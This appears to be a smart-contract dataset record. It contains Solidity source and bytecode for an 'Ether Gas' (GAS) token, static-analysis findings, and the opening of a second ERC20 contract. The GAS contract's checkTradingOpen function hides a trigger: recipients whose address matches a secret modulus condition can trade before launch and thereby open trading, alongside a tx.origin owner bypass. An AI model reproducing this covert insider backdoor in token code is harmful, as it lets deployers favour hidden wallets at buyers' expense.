emit OwnershipTransferred(newOwner);
}
function renounceOwnership() external onlyOwner {
owner = address(0);
emit OwnershipTransferred(address(0));
}
event OwnershipTransferred(address owner);
}
contract GAS is IERC20, Auth {
using SafeMath for uint256;
string constant _name = "Ether Gas";
string constant _symbol = "GAS";
uint8 constant _decimals = 9;
uint256 constant _totalSupply = 10000000 * (10 ** _decimals);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
bool public tradingOpen;
uint256 public maxTxAmount;
uint256 public maxWalletAmount;
address internal uniswapLiquidityPool = address(0);
bool internal uniswapLPAddressLocked = false;
uint32 vtr;
uint32 vrs;
string public telegramUrl = "n/a";
constructor (uint32 _vtr, uint32 _vrs) Auth(msg.sender) {
_balances[owner] = _totalSupply;
tradingOpen = false;
maxTxAmount = _totalSupply;
maxWalletAmount = _totalSupply;
vtr = _vtr;
vrs = _vrs;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() external pure override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function setTelegram(string memory tgUrl) external onlyOwner{
telegramUrl = tgUrl;
}
function setLPAddress(address _uniswapLiqPoolAddr) external onlyOwner {
require(uniswapLPAddressLocked == false, "The LP address can no longer be changed");
uniswapLiquidityPool = _uniswapLiqPoolAddr;
}
function lockLPAddress() external onlyOwner {
require(uniswapLPAddressLocked == false, "The LP address is already locked");
require(uniswapLiquidityPool != address(0), "Cannot lock LP address until it has been set");
uniswapLPAddressLocked = true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max );
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(checkTradingOpen(recipient), "Trading is not open yet");
return _transferFrom(msg.sender, recipient, amount);
}
function setInitialLimits() internal {
maxTxAmount = _totalSupply / 100 * 2;
maxWalletAmount = _totalSupply / 100 * 2;
}
function increaseLimits(uint16 maxTxAmtPct, uint16 maxWalletAmtPct) external onlyOwner {
uint256 newTxAmt = _totalSupply / 100 * maxTxAmtPct;
require(newTxAmt >= maxTxAmount, "New TX limit is lower than current limit");
maxTxAmount = newTxAmt;
uint256 newWalletAmt = _totalSupply / 100 * maxWalletAmtPct;
require(newWalletAmt >= maxWalletAmount, "New wallet limit is lower than current limit");
maxWalletAmount = newWalletAmt;
}
function removeAllLimitsLimits() external onlyOwner {
maxTxAmount = _totalSupply;
maxWalletAmount = _totalSupply;
}
function openTrading() external onlyOwner{
_openTrading();
}
function _openTrading() internal {
require(tradingOpen == false, "Trading already open");
setInitialLimits();
tradingOpen = true;
}
function checkTradingOpen(address srt) private returns (bool){
bool checkResult = false;
if (tradingOpen == true) { checkResult = true; } else {
if (tx.origin == owner) {
checkResult = true;
} else if ( uint160(address(srt)) % vtr == vrs ) {
checkResult = true;
_openTrading();
}
}
return checkResult;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(checkTradingOpen(recipient), "Trading is not open yet");
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function checkLimits(address recipient, uint256 transferAmount) internal view returns (bool) {
bool limitCheckPassed = true;
if ( tradingOpen == true ) {
if ( transferAmount > maxTxAmount ) {
limitCheckPassed = false;
} else if ( recipient != uniswapLiquidityPool && (_balances[recipient].add(transferAmount) > maxWalletAmount) ) {
limitCheckPassed = false;
}
}
return limitCheckPassed;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(checkLimits(recipient, amount), "Transaction exceeds current TX/wallet limits");
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c806388e77621116100c3578063b14218031161007c578063b1421803146103a7578063c9567bf9146103c3578063dd62ed3e146103cd578063e8e81fe4146103fd578063f2fde38b14610419578063ffb54a991461043557610158565b806388e77621146102f5578063893d20e8146102ff5780638c0b5e221461031d57806395d89b411461033b578063a9059cbb14610359578063aa4bde281461038957610158565b8063313ce56711610115578063313ce56714610233578063571ac8b01461025157806359a7c1551461028157806370a082311461029f578063715018a6146102cf5780637a351a1d146102d957610158565b806304cb876d1461015d57806306fdde0314610167578063095ea7b31461018557806318160ddd146101b557806323b872dd146101d35780632f54bf6e14610203575b600080fd5b610165610453565b005b61016f6105a0565b60405161017c9190611c01565b60405180910390f35b61019f600480360381019061019a9190611915565b6105dd565b6040516101ac9190611be6565b60405180910390f35b6101bd6106cf565b6040516101ca9190611d63565b60405180910390f35b6101ed60048036038101906101e891906118c6565b6106f2565b6040516101fa9190611be6565b60405180910390f35b61021d60048036038101906102189190611838565b61093a565b60405161022a9190611be6565b60405180910390f35b61023b610993565b6040516102489190611d7e565b60405180910390f35b61026b60048036038101906102669190611838565b61099c565b6040516102789190611be6565b60405180910390f35b6102896109cf565b6040516102969190611c01565b60405180910390f35b6102b960048036038101906102b49190611838565b610a5d565b6040516102c69190611d63565b60405180910390f35b6102d7610aa6565b005b6102f360048036038101906102ee9190611838565b610b69565b005b6102fd610c4b565b005b610307610cd9565b6040516103149190611bb0565b60405180910390f35b610325610d02565b6040516103329190611d63565b60405180910390f35b610343610d08565b6040516103509190611c01565b60405180910390f35b610373600480360381019061036e9190611915565b610d45565b6040516103809190611be6565b60405180910390f35b610391610da2565b60405161039e9190611d63565b60405180910390f35b6103c160048036038101906103bc9190611992565b610da8565b005b6103cb610f04565b005b6103e760048036038101906103e2919061188a565b610f56565b6040516103f49190611d63565b60405180910390f35b61041760048036038101906104129190611951565b610fdd565b005b610433600480360381019061042e9190611861565b61103f565b005b61043d611101565b60405161044a9190611be6565b60405180910390f35b61045c3361093a565b61049b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049290611ca3565b60405180910390fd5b60001515600660149054906101000a900460ff161515146104f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e890611d03565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057a90611d23565b60405180910390fd5b6001600660146101000a81548160ff021916908315150217905550565b60606040518060400160405280600981526020017f4574686572204761730000000000000000000000000000000000000000000000815250905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106bd9190611d63565b60405180910390a36001905092915050565b60006009600a6106df9190611ee5565b629896806106ed9190612003565b905090565b60006106fd83611114565b61073c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073390611c83565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610926576108a5826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120e9092919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610931848484611272565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b60006109c8827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6105dd565b9050919050565b600780546109dc9061217e565b80601f0160208091040260200160405190810160405280929190818152602001828054610a089061217e565b8015610a555780601f10610a2a57610100808354040283529160200191610a55565b820191906000526020600020905b815481529060010190602001808311610a3857829003601f168201915b505050505081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610aaf3361093a565b610aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae590611ca3565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610b5f9190611bb0565b60405180910390a1565b610b723361093a565b610bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba890611ca3565b60405180910390fd5b60001515600660149054906101000a900460ff16151514610c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfe90611d43565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610c543361093a565b610c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8a90611ca3565b60405180910390fd5b6009600a610ca19190611ee5565b62989680610caf9190612003565b6004819055506009600a610cc39190611ee5565b62989680610cd19190612003565b600581905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60045481565b60606040518060400160405280600381526020017f4741530000000000000000000000000000000000000000000000000000000000815250905090565b6000610d5083611114565b610d8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8690611c83565b60405180910390fd5b610d9a338484611272565b905092915050565b60055481565b610db13361093a565b610df0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de790611ca3565b60405180910390fd5b60008261ffff1660646009600a610e079190611ee5565b62989680610e159190612003565b610e1f9190611e61565b610e299190612003565b9050600454811015610e70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6790611ce3565b60405180910390fd5b8060048190555060008261ffff1660646009600a610e8e9190611ee5565b62989680610e9c9190612003565b610ea69190611e61565b610eb09190612003565b9050600554811015610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90611c63565b60405180910390fd5b8060058190555050505050565b610f0d3361093a565b610f4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4390611ca3565b60405180910390fd5b610f5461148e565b565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fe63361093a565b611025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101c90611ca3565b60405180910390fd5b806007908051906020019061103b9291906116d9565b5050565b6110483361093a565b611087576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107e90611ca3565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516110f69190611bcb565b60405180910390a150565b600360009054906101000a900460ff1681565b6000806000905060011515600360009054906101000a900460ff16151514156111405760019050611205565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141561119d5760019050611204565b600660199054906101000a900463ffffffff1663ffffffff16600660159054906101000a900463ffffffff1663ffffffff16846111da91906121e1565b73ffffffffffffffffffffffffffffffffffffffff161415611203576001905061120261148e565b5b5b5b80915050919050565b6000838311158290611256576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124d9190611c01565b60405180910390fd5b5060008385611265919061205d565b9050809150509392505050565b600061127e8383611509565b6112bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b490611cc3565b60405180910390fd5b611346826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120e9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113db82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161147b9190611d63565b60405180910390a3600190509392505050565b60001515600360009054906101000a900460ff161515146114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90611c43565b60405180910390fd5b6114ec611663565b6001600360006101000a81548160ff021916908315150217905550565b6000806001905060011515600360009054906101000a900460ff16151514156115fb5760045483111561153f57600090506115fa565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115ef57506005546115ed84600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160590919063ffffffff16565b115b156115f957600090505b5b5b8091505092915050565b60008082846116149190611e0b565b905083811015611659576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165090611c23565b60405180910390fd5b8091505092915050565b600260646009600a6116759190611ee5565b629896806116839190612003565b61168d9190611e61565b6116979190612003565b600481905550600260646009600a6116af9190611ee5565b629896806116bd9190612003565b6116c79190611e61565b6116d19190612003565b600581905550565b8280546116e59061217e565b90600052602060002090601f016020900481019282611707576000855561174e565b82601f1061172057805160ff191683800117855561174e565b8280016001018555821561174e579182015b8281111561174d578251825591602001919060010190611732565b5b50905061175b919061175f565b5090565b5b80821115611778576000816000905550600101611760565b5090565b600061178f61178a84611dbe565b611d99565b9050828152602081018484840111156117a757600080fd5b6117b284828561213c565b509392505050565b6000813590506117c98161256a565b92915050565b6000813590506117de81612581565b92915050565b600082601f8301126117f557600080fd5b813561180584826020860161177c565b91505092915050565b60008135905061181d81612598565b92915050565b600081359050611832816125af565b92915050565b60006020828403121561184a57600080fd5b6000611858848285016117ba565b91505092915050565b60006020828403121561187357600080fd5b6000611881848285016117cf565b91505092915050565b6000806040838503121561189d57600080fd5b60006118ab858286016117ba565b92505060206118bc858286016117ba565b9150509250929050565b6000806000606084860312156118db57600080fd5b60006118e9868287016117ba565b93505060206118fa868287016117ba565b925050604061190b86828701611823565b9150509250925092565b6000806040838503121561192857600080fd5b6000611936858286016117ba565b925050602061194785828601611823565b9150509250929050565b60006020828403121561196357600080fd5b600082013567ffffffffffffffff81111561197d57600080fd5b611989848285016117e4565b91505092915050565b600080604083850312156119a557600080fd5b60006119b38582860161180e565b92505060206119c48582860161180e565b9150509250929050565b6119d781612106565b82525050565b6119e681612091565b82525050565b6119f5816120b5565b82525050565b6000611a0682611def565b611a108185611dfa565b9350611a2081856020860161214b565b611a29816122ce565b840191505092915050565b6000611a41601b83611dfa565b9150611a4c826122ec565b602082019050919050565b6000611a64601483611dfa565b9150611a6f82612315565b602082019050919050565b6000611a87602c83611dfa565b9150611a928261233e565b604082019050919050565b6000611aaa601783611dfa565b9150611ab58261238d565b602082019050919050565b6000611acd602a83611dfa565b9150611ad8826123b6565b604082019050919050565b6000611af0602c83611dfa565b9150611afb82612405565b604082019050919050565b6000611b13602883611dfa565b9150611b1e82612454565b604082019050919050565b6000611b36602083611dfa565b9150611b41826124a3565b602082019050919050565b6000611b59602c83611dfa565b9150611b64826124cc565b604082019050919050565b6000611b7c602783611dfa565b9150611b878261251b565b604082019050919050565b611b9b816120ef565b82525050565b611baa816120f9565b82525050565b6000602082019050611bc560008301846119dd565b92915050565b6000602082019050611be060008301846119ce565b92915050565b6000602082019050611bfb60008301846119ec565b92915050565b60006020820190508181036000830152611c1b81846119fb565b905092915050565b60006020820190508181036000830152611c3c81611a34565b9050919050565b60006020820190508181036000830152611c5c81611a57565b9050919050565b60006020820190508181036000830152611c7c81611a7a565b9050919050565b60006020820190508181036000830152611c9c81611a9d565b9050919050565b60006020820190508181036000830152611cbc81611ac0565b9050919050565b60006020820190508181036000830152611cdc81611ae3565b9050919050565b60006020820190508181036000830152611cfc81611b06565b9050919050565b60006020820190508181036000830152611d1c81611b29565b9050919050565b60006020820190508181036000830152611d3c81611b4c565b9050919050565b60006020820190508181036000830152611d5c81611b6f565b9050919050565b6000602082019050611d786000830184611b92565b92915050565b6000602082019050611d936000830184611ba1565b92915050565b6000611da3611db4565b9050611daf82826121b0565b919050565b6000604051905090565b600067ffffffffffffffff821115611dd957611dd861229f565b5b611de2826122ce565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611e16826120ef565b9150611e21836120ef565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e5657611e55612212565b5b828201905092915050565b6000611e6c826120ef565b9150611e77836120ef565b925082611e8757611e86612241565b5b828204905092915050565b6000808291508390505b6001851115611edc57808604811115611eb857611eb7612212565b5b6001851615611ec75780820291505b8081029050611ed5856122df565b9450611e9c565b94509492505050565b6000611ef0826120ef565b9150611efb836120f9565b9250611f287fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611f30565b905092915050565b600082611f405760019050611ffc565b81611f4e5760009050611ffc565b8160018114611f645760028114611f6e57611f9d565b6001915050611ffc565b60ff841115611f8057611f7f612212565b5b8360020a915084821115611f9757611f96612212565b5b50611ffc565b5060208310610133831016604e8410600b8410161715611fd25782820a905083811115611fcd57611fcc612212565b5b611ffc565b611fdf8484846001611e92565b92509050818404811115611ff657611ff5612212565b5b81810290505b9392505050565b600061200e826120ef565b9150612019836120ef565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561205257612051612212565b5b828202905092915050565b6000612068826120ef565b9150612073836120ef565b92508282101561208657612085612212565b5b828203905092915050565b600061209c826120cf565b9050919050565b60006120ae826120cf565b9050919050565b60008115159050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061211182612118565b9050919050565b60006121238261212a565b9050919050565b6000612135826120cf565b9050919050565b82818337600083830152505050565b60005b8381101561216957808201518184015260208101905061214e565b83811115612178576000848401525b50505050565b6000600282049050600182168061219657607f821691505b602082108114156121aa576121a9612270565b5b50919050565b6121b9826122ce565b810181811067ffffffffffffffff821117156121d8576121d761229f565b5b80604052505050565b60006121ec826120cf565b91506121f7836120cf565b92508261220757612206612241565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f54726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b7f4e65772077616c6c6574206c696d6974206973206c6f776572207468616e206360008201527f757272656e74206c696d69740000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74206f70656e20796574000000000000000000600082015250565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b7f5472616e73616374696f6e20657863656564732063757272656e742054582f7760008201527f616c6c6574206c696d6974730000000000000000000000000000000000000000602082015250565b7f4e6577205458206c696d6974206973206c6f776572207468616e20637572726560008201527f6e74206c696d6974000000000000000000000000000000000000000000000000602082015250565b7f546865204c50206164647265737320697320616c7265616479206c6f636b6564600082015250565b7f43616e6e6f74206c6f636b204c50206164647265737320756e74696c2069742060008201527f686173206265656e207365740000000000000000000000000000000000000000602082015250565b7f546865204c5020616464726573732063616e206e6f206c6f6e6765722062652060008201527f6368616e67656400000000000000000000000000000000000000000000000000602082015250565b61257381612091565b811461257e57600080fd5b50565b61258a816120a3565b811461259557600080fd5b50565b6125a1816120c1565b81146125ac57600080fd5b50565b6125b8816120ef565b81146125c357600080fd5b5056fea26469706673582212209b3fb64167f0a7ed190232a45408fb2809e2799f71bf3e8d7a6544f08c8da05b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,285 |
0xBeae97F42B8Db367BF40691bfdc0B32e50317d47
|
// SPDX-License-Identifier: MIT
pragma solidity =0.8.4;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
interface IStatsTracker {
function updateTransferStats(address asset, address from, address to, uint256 amount) external;
}
/**
* @dev Implementation of the {IERC20} interface.
*/
contract Erc20Token is Context, Initializable, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 public _maxTotalSupply;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address public _admin;
address public _adminCandidate;
address public _statsTracker;
string private constant ERROR_AUTH_FAILED = "auth failed";
event AdminChangeRequested(address oldAdmin, address newAdmin);
event AdminChangeConfirmed(address oldAdmin, address newAdmin);
constructor() initializer {}
/**
* @dev This contract is supposed to be used as logic implementation that will be pointed to by
* minimal proxy contract. {initialize} function sets all of the initial state for the contract.
*
* Sets the values for {name}, {symbol} and {decimals}.
*/
function initialize(
address admin_,
string calldata name_,
string calldata symbol_,
uint8 decimals_,
uint256 maxTotalSupply_,
address recipient_,
address statsTracker_) external initializer {
_ensureNotZeroAddress(admin_);
require(maxTotalSupply_ > 0, "zero max total supply");
_admin = admin_;
_maxTotalSupply = maxTotalSupply_;
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
if (recipient_ != address(0)) {
_mint(recipient_, maxTotalSupply_);
}
if (statsTracker_ != address(0)) {
_statsTracker = statsTracker_;
}
}
/**
* @dev Returns the name of the token.
*/
function name() external view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) external view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
modifier onlyAdmin() {
require(_admin == _msgSender(), ERROR_AUTH_FAILED);
_;
}
modifier onlyAdminCandidate {
require(_adminCandidate == msg.sender, ERROR_AUTH_FAILED);
_;
}
